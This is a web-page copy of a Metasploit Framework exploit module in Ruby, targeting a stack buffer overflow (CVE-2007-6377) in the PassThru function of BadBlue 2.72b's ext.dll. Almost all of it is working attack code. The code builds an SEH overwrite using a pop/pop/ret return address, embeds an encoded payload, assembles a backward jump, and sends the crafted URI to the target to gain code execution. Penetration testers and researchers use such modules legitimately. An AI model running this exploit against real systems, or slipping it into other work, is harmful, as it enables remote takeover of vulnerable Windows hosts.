CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/badblue_passthru.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
10
# However, a proper Server header is returned when requesting /index.html or using HEAD.
11
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
12
13
include Msf::Exploit::Remote::HttpClient
14
include Msf::Exploit::Seh
15
16
def initialize(info = {})
17
super(update_info(info,
18
'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',
19
'Description' => %q{
20
This module exploits a stack buffer overflow in the PassThru
21
functionality in ext.dll in BadBlue 2.72b and earlier.
22
},
23
'Author' => [ 'MC' ],
24
'License' => MSF_LICENSE,
25
'References' =>
26
[
27
['CVE', '2007-6377'],
28
['OSVDB', '42416'],
29
['BID', '26803'],
30
],
31
'DefaultOptions' =>
32
{
33
'EXITFUNC' => 'thread',
34
},
35
'Privileged' => true,
36
'Payload' =>
37
{
38
'Space' => 750,
39
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
40
'StackAdjustment' => -3500,
41
#'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
42
'DisableNops' => 'True',
43
},
44
'Platform' => 'win',
45
'Targets' =>
46
[
47
# This is the version being distributed on badblue.com as of Jul 7th 2010
48
[ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
49
[ 'BadBlue 2.72b Universal', { 'Ret' => 0x10033f44 } ] # pop/pop/ret from ext.dll v1.0.0.1
50
],
51
'DefaultTarget' => 0,
52
'DisclosureDate' => '2007-12-10'))
53
end
54
55
def exploit
56
seh_offset = 4116
57
#sploit = Rex::Text.pattern_create(seh_offset)
58
sploit = rand_text(seh_offset)
59
# Need to jump over the nul byte
60
seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
61
sploit << seh
62
63
plen = payload.encoded.length
64
sploit[seh_offset - 16 - plen, plen] = payload.encoded
65
66
# This pointer will force a crash when it is used in a lock instruction
67
ptr = rand_text(3)
68
ptr << [0x80|rand(256)].pack('C')
69
sploit[seh_offset - 8,4] = ptr
70
71
# These two bytes get corrupted, so we can't use them.
72
sploit << rand_text(2)
73
74
# jump back to the payload
75
distance = 2 + 8 + 16 + plen
76
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
77
78
79
# Build the final URI
80
uri = "/ext.dll?mfcisapicommand=PassThru&"
81
uri << sploit
82
83
print_status("Trying target %s..." % target.name)
84
send_request_raw({ 'uri' => uri }, 5)
85
86
handler
87
disconnect
88
end
89
end
90
91